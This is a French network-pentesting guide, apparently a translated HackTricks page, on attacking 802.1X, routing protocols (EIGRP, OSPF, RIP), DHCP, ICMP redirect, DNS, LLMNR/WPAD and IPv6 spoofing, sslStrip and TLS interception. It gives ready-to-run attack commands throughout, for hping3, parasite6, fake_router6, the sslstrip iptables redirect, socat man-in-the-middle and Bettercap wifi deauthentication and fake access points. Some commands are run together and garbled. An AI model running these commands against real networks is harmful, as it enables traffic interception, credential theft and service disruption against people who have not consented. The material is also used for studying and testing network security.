Voici quelques tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X :

  • Brute-force actif de mot de passe via EAP
  • Attaque du serveur RADIUS avec un contenu EAP malformé **(exploits)
  • Capture de messages EAP et craquage hors ligne de mots de passe (EAP-MD5 et PEAP)
  • Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS
  • Injection de trafic réseau malveillant lors de l'authentification à l'aide d'un concentrateur ou similaire

Si l'attaquant se trouve entre la victime et le serveur d'authentification, il peut essayer de dégrader (si nécessaire) le protocole d'authentification en EAP-MD5 et capturer la tentative d'authentification. Ensuite, il peut effectuer une attaque de force brute en utilisant :

eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt

Attaques FHRP (GLBP & HSRP)

FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour créer un système de routage redondant à chaud. Avec FHRP, les routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge.

Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP.

{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}

RIP

Il existe trois versions du protocole de routage RIP (Routing Information Protocol) - RIP, RIPv2 et RIPng. RIP et RIPv2 utilisent des datagrammes UDP envoyés aux pairs via le port 520, tandis que RIPng diffuse des datagrammes vers le port UDP 521 via le multicast IPv6. RIPv2 a introduit la prise en charge de l'authentification MD5. RIPng n'intègre pas d'authentification native ; il repose plutôt sur les en-têtes IPsec AH et ESP optionnels dans IPv6.

Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3rd edition).

Attaques EIGRP

EIGRP (Enhanced Interior Gateway Routing Protocol) est un protocole de routage dynamique. C'est un protocole de vecteur de distance. Si aucune authentification et configuration des interfaces passives n'est effectuée, un intrus peut interférer avec le routage EIGRP et provoquer l'empoisonnement des tables de routage. De plus, le réseau EIGRP (autrement dit, le système autonome) est plat et n'est pas segmenté en zones. Si un attaquant injecte une route, il est probable que cette route se propage dans tout le système autonome EIGRP.

Pour attaquer un système EIGRP, il est nécessaire d'établir une relation de voisinage avec un routeur EIGRP légitime, ce qui ouvre de nombreuses possibilités, de la reconnaissance de base à diverses injections.

****FRRouting vous permet de mettre en place un routeur virtuel prenant en charge BGP, OSPF, EIGRP, RIP et d'autres protocoles. Il vous suffit de le déployer sur votre système d'attaquant et vous pouvez prétendre être un routeur légitime dans le domaine de routage.

{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}

****Coly prend également en charge la capture des diffusions EIGRP et l'injection de paquets pour manipuler la configuration de routage. Pour plus d'informations sur la façon de l'attaquer avec Coly, consultez le livre Network Security Assessment: Know Your Network (3rd edition).

OSPF

La plupart des implémentations d'Open Shortest Path First (OSPF) utilisent MD5 pour fournir une authentification entre les routeurs. Loki et John the Ripper peuvent capturer et attaquer les hachages MD5 pour révéler la clé, qui peut ensuite être utilisée pour annoncer de nouvelles routes. Les paramètres de routage sont définis en utilisant l'onglet Injection, et la clé est définie sous Connection.

Pour plus d'informations sur la façon d'attaquer ce protocole, consultez le livre Network Security Assessment: Know Your Network (3rd edition).

Autres outils et sources génériques

  • Above : Outil pour analyser le trafic réseau et trouver des vulnérabilités
  • Vous pouvez trouver plus d'informations sur les attaques réseau ici. (TODO: Tout lire et toutes les nouvelles attaques, le cas échéant)

Spoofing

L'attaquant configure tous les paramètres réseau (GW, IP, DNS) du nouveau membre du réseau en envoyant de fausses réponses DHCP.

Ettercap
yersinia dhcp -attack 2 #More parameters are needed

ARP Spoofing

Vérifiez la section précédente.

ICMPRedirect

ICMP Redirect consiste à envoyer un paquet ICMP de type 1 code 5 qui indique que l'attaquant est le meilleur moyen d'atteindre une adresse IP. Ensuite, lorsque la victime souhaite contacter l'adresse IP, elle enverra le paquet via l'attaquant.

Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]

DNS Spoofing

L'attaquant va résoudre certains (ou tous) les domaines demandés par la victime.

set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on

Configurer son propre DNS avec dnsmasq

L'utilisation d'un serveur DNS local peut être bénéfique lors de tests de pénétration réseau, car cela permet de contrôler les résolutions DNS et de rediriger le trafic vers des adresses IP spécifiques. Dnsmasq est un outil populaire pour configurer un serveur DNS local.

Voici les étapes pour configurer votre propre DNS avec dnsmasq :

  1. Installation de dnsmasq : Tout d'abord, installez dnsmasq sur votre système. Vous pouvez le faire en utilisant la commande suivante :

    sudo apt-get install dnsmasq
    
  2. Configuration de dnsmasq : Une fois installé, ouvrez le fichier de configuration de dnsmasq en utilisant la commande suivante :

    sudo nano /etc/dnsmasq.conf
    

    Dans ce fichier, vous pouvez spécifier les résolutions DNS personnalisées en utilisant la syntaxe suivante :

    address=/domaine.com/adresse_IP
    

    Par exemple, pour rediriger toutes les requêtes DNS pour "domaine.com" vers l'adresse IP "192.168.1.100", vous pouvez ajouter la ligne suivante :

    address=/domaine.com/192.168.1.100
    

    Vous pouvez ajouter autant de résolutions DNS personnalisées que nécessaire.

  3. Redémarrage de dnsmasq : Une fois que vous avez terminé de configurer dnsmasq, redémarrez le service pour appliquer les modifications en utilisant la commande suivante :

    sudo service dnsmasq restart
    

    Assurez-vous que le service démarre correctement et qu'il n'y a pas d'erreurs dans les journaux.

  4. Configuration du DNS local : Enfin, configurez votre système pour utiliser le serveur DNS local. Vous pouvez le faire en modifiant le fichier de configuration du réseau ou en utilisant l'interface graphique de votre système d'exploitation.

    • Pour modifier le fichier de configuration du réseau, ouvrez le fichier /etc/resolv.conf en utilisant la commande suivante :

      sudo nano /etc/resolv.conf
      

      Ajoutez la ligne suivante pour spécifier l'adresse IP de votre serveur DNS local :

      nameserver 127.0.0.1
      
    • Pour utiliser l'interface graphique, recherchez les paramètres réseau de votre système d'exploitation et spécifiez l'adresse IP de votre serveur DNS local.

Une fois que vous avez configuré votre propre DNS avec dnsmasq, vous pouvez contrôler les résolutions DNS et rediriger le trafic vers des adresses IP spécifiques pour effectuer des tests de pénétration réseau plus avancés.

apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS

Passerelles locales

Il existe souvent plusieurs routes vers des systèmes et des réseaux. Après avoir établi une liste d'adresses MAC dans le réseau local, utilisez gateway-finder.py pour identifier les hôtes qui prennent en charge le transfert IPv4.

root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100     00:13:72:09:ad:76       Dell Inc.
10.0.0.200     00:90:27:43:c0:57       INTEL CORPORATION
10.0.0.254     00:08:74:c0:40:ce       Dell Computer Corp.

root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]

Falsification de LLMNR, NBT-NS et mDNS

Les systèmes Microsoft utilisent Link-Local Multicast Name Resolution (LLMNR) et le service de noms NetBIOS (NBT-NS) pour la résolution locale des hôtes lorsque les recherches DNS échouent. Les implémentations Apple Bonjour et Linux zero-configuration utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. Ces protocoles ne sont pas authentifiés et diffusent des messages via UDP ; ainsi, les attaquants peuvent les exploiter pour rediriger les utilisateurs vers des services malveillants.

Vous pouvez vous faire passer pour des services recherchés par les hôtes en utilisant Responder pour envoyer de fausses réponses.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.

Falsification de WPAD

De nombreux navigateurs utilisent Web Proxy Auto-Discovery (WPAD) pour charger les paramètres de proxy depuis le réseau. Un serveur WPAD fournit les paramètres de proxy client via une URL spécifique (par exemple, http://wpad.example.org/wpad.dat) lorsqu'il est identifié par l'une des méthodes suivantes :

  • DHCP, en utilisant une entrée de code 25234
  • DNS, en recherchant le nom d'hôte wpad dans le domaine local
  • Microsoft LLMNR et NBT-NS (en cas d'échec de la recherche DNS)

Responder automatise l'attaque WPAD - en exécutant un proxy et en redirigeant les clients vers un serveur WPAD malveillant via DHCP, DNS, LLMNR et NBT-NS.
Lisez ici plus d'informations sur comment se faire passer pour des services avec Responder.

Falsification de SSDP et des périphériques UPnP

Vous pouvez proposer différents services sur le réseau pour essayer de tromper un utilisateur afin qu'il entre des informations d'identification en texte clair. Plus d'informations sur cette attaque dans Falsification de SSDP et des périphériques UPnP.

Falsification de voisin IPv6

Cette attaque est très similaire à l'ARP Spoofing mais dans le monde IPv6. Vous pouvez faire croire à la victime que l'IPv6 de la passerelle a l'adresse MAC de l'attaquant.

sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds

Spoofing/Flooding des annonces de routeur IPv6

Certains systèmes d'exploitation configurent par défaut la passerelle à partir des paquets RA envoyés dans le réseau. Pour déclarer l'attaquant en tant que routeur IPv6, vous pouvez utiliser :

sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16

Spoofing DHCP IPv6

Par défaut, certains systèmes d'exploitation tentent de configurer le DNS en lisant un paquet DHCPv6 dans le réseau. Ainsi, un attaquant pourrait envoyer un paquet DHCPv6 pour se configurer en tant que serveur DNS. Le DHCP fournit également une adresse IPv6 à la victime.

dhcp6.spoof on
dhcp6.spoof.domains <list of domains>

mitm6

HTTP (fausse page et injection de code JS)

Attaques Internet

sslStrip

Essentiellement, cette attaque consiste à ce que, dans le cas où l'utilisateur tente d'accéder à une page HTTP qui se redirige vers la version HTTPS, sslStrip va maintenir une connexion HTTP avec le client et une connexion HTTPS avec le serveur, ce qui lui permettra de capturer la connexion en texte clair.

apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Plus d'informations ici.

sslStrip+ et dns2proxy pour contourner HSTS

La différence entre sslStrip+ et dns2proxy par rapport à sslStrip est qu'ils vont rediriger par exemple www.facebook.com vers wwww.facebook.com (notez le "w" supplémentaire) et définiront l'adresse de ce domaine comme l'adresse IP de l'attaquant. De cette façon, le client se connectera à wwww.facebook.com (l'attaquant) mais en réalité sslstrip+ maintiendra la véritable connexion via https avec www.facebook.com.

L'objectif de cette technique est de contourner HSTS car wwww.facebook.com ne sera pas enregistré dans le cache du navigateur, de sorte que le navigateur sera trompé pour effectuer l'authentification Facebook en HTTP.
Notez que pour effectuer cette attaque, la victime doit essayer d'accéder initialement à http://www.faceook.com et non à https. Cela peut être fait en modifiant les liens à l'intérieur d'une page http.

Plus d'informations ici, ici et ici.

sslStrip ou sslStrip+ ne fonctionne plus. Cela est dû aux règles HSTS préenregistrées dans les navigateurs, donc même si c'est la première fois qu'un utilisateur accède à un domaine "important", il y accédera via HTTPS. De plus, notez que les règles préenregistrées et les autres règles générées peuvent utiliser le drapeau includeSubdomains donc l'exemple précédent de wwww.facebook.com ne fonctionnera plus car facebook.com utilise HSTS avec includeSubdomains.

TODO: easy-creds, evilgrade, metasploit, factory

Écoute TCP sur le port

sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -

Écoute TCP + SSL sur le port

Générer des clés et un certificat auto-signé

FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem

Écoute en utilisant un certificat

L'écoute en utilisant un certificat est une technique couramment utilisée lors des tests de pénétration pour intercepter et analyser le trafic réseau chiffré. Cette méthode implique la création d'un certificat SSL/TLS valide pour le domaine cible, puis la configuration d'un proxy pour intercepter le trafic en utilisant ce certificat.

Voici les étapes générales pour effectuer une écoute en utilisant un certificat :

  1. Génération du certificat : Utilisez des outils tels que OpenSSL pour générer un certificat SSL/TLS valide pour le domaine cible. Assurez-vous de configurer correctement les paramètres du certificat, tels que le nom commun (CN) et les extensions.

  2. Configuration du proxy : Configurez un proxy, tel que Burp Suite, pour intercepter le trafic réseau. Importez le certificat généré à l'étape précédente dans le proxy.

  3. Installation du certificat : Installez le certificat généré sur le système cible. Cela peut nécessiter l'ajout du certificat à la liste des autorités de confiance ou à la liste des certificats du navigateur.

  4. Redirection du trafic : Configurez le système cible pour rediriger le trafic vers le proxy. Cela peut être fait en modifiant les paramètres du proxy dans le navigateur ou en utilisant des techniques de redirection de trafic, telles que l'ARP spoofing.

  5. Analyse du trafic : Une fois que le trafic est redirigé vers le proxy, vous pouvez l'analyser à l'aide d'outils tels que Wireshark. Cela vous permet de visualiser et d'inspecter le trafic réseau chiffré, y compris les requêtes et les réponses.

Il est important de noter que l'écoute en utilisant un certificat nécessite une connaissance approfondie des protocoles SSL/TLS et des outils de proxy. De plus, cette technique doit être utilisée de manière éthique et légale, avec le consentement approprié du propriétaire du système cible.

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -

Écouter en utilisant un certificat et rediriger vers les hôtes

Lors de l'audit d'un réseau, il est souvent nécessaire d'écouter le trafic réseau pour identifier les vulnérabilités potentielles. Une méthode courante consiste à utiliser un certificat pour intercepter le trafic chiffré et le rediriger vers des hôtes spécifiques.

Voici les étapes générales pour mettre en place cette méthode :

  1. Générez un certificat SSL valide pour le domaine que vous souhaitez écouter.
  2. Configurez un proxy inverse pour intercepter le trafic HTTPS entrant.
  3. Installez le certificat sur le proxy inverse afin qu'il puisse déchiffrer le trafic.
  4. Configurez le proxy inverse pour rediriger le trafic déchiffré vers les hôtes cibles.

Une fois que tout est configuré, le proxy inverse interceptera le trafic HTTPS, déchiffrera les données à l'aide du certificat et redirigera le trafic vers les hôtes spécifiés. Cela vous permettra d'analyser le trafic en clair et d'identifier les éventuelles vulnérabilités ou fuites d'informations.

Il est important de noter que cette méthode doit être utilisée avec précaution et dans le cadre d'un audit de sécurité autorisé. L'interception du trafic HTTPS sans autorisation appropriée peut être illégale et violer la confidentialité des utilisateurs.

sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0

Parfois, si le client vérifie que le CA est valide, vous pouvez servir un certificat d'un autre nom d'hôte signé par un CA.
Un autre test intéressant consiste à servir un certificat du nom d'hôte demandé mais auto-signé.

D'autres choses à tester sont de tenter de signer le certificat avec un certificat valide qui n'est pas un CA valide. Ou d'utiliser la clé publique valide, forcer l'utilisation d'un algorithme comme diffie hellman (qui n'a pas besoin de décrypter quoi que ce soit avec la vraie clé privée) et lorsque le client demande une sonde de la vraie clé privée (comme un hash), envoyer une fausse sonde et espérer que le client ne vérifie pas cela.

Bettercap

# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear

# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on

# Caplets
caplets.show
caplets.update

# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap

Notes de découverte active

Il faut prendre en compte que lorsqu'un paquet UDP est envoyé à un appareil qui n'a pas le port demandé, un ICMP (Port Unreachable) est renvoyé.

Découverte ARP

Les paquets ARP sont utilisés pour découvrir quelles adresses IP sont utilisées dans le réseau. Le PC doit envoyer une demande pour chaque adresse IP possible et seules celles qui sont utilisées répondront.

mDNS (multicast DNS)

Bettercap envoie une requête mDNS (toutes les X ms) demandant _services_.dns-sd._udp.local. La machine qui voit ce paquet répond généralement à cette demande. Ensuite, il ne recherche que les machines répondant aux "services".

Outils

  • Avahi-browser (--all)
  • Bettercap (net.probe.mdns)
  • Responder

NBNS (NetBios Name Server)

Bettercap diffuse des paquets vers le port 137/UDP en demandant le nom "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".

SSDP (Simple Service Discovery Protocol)

Bettercap diffuse des paquets SSDP à la recherche de tous types de services (port UDP 1900).

WSD (Web Service Discovery)

Bettercap diffuse des paquets WSD à la recherche de services (port UDP 3702).

Références


Astuce pour les primes de bug : inscrivez-vous sur Intigriti, une plateforme premium de prime de bug créée par des hackers, pour des hackers ! Rejoignez-nous sur https://go.intigriti.com/hacktricks dès aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥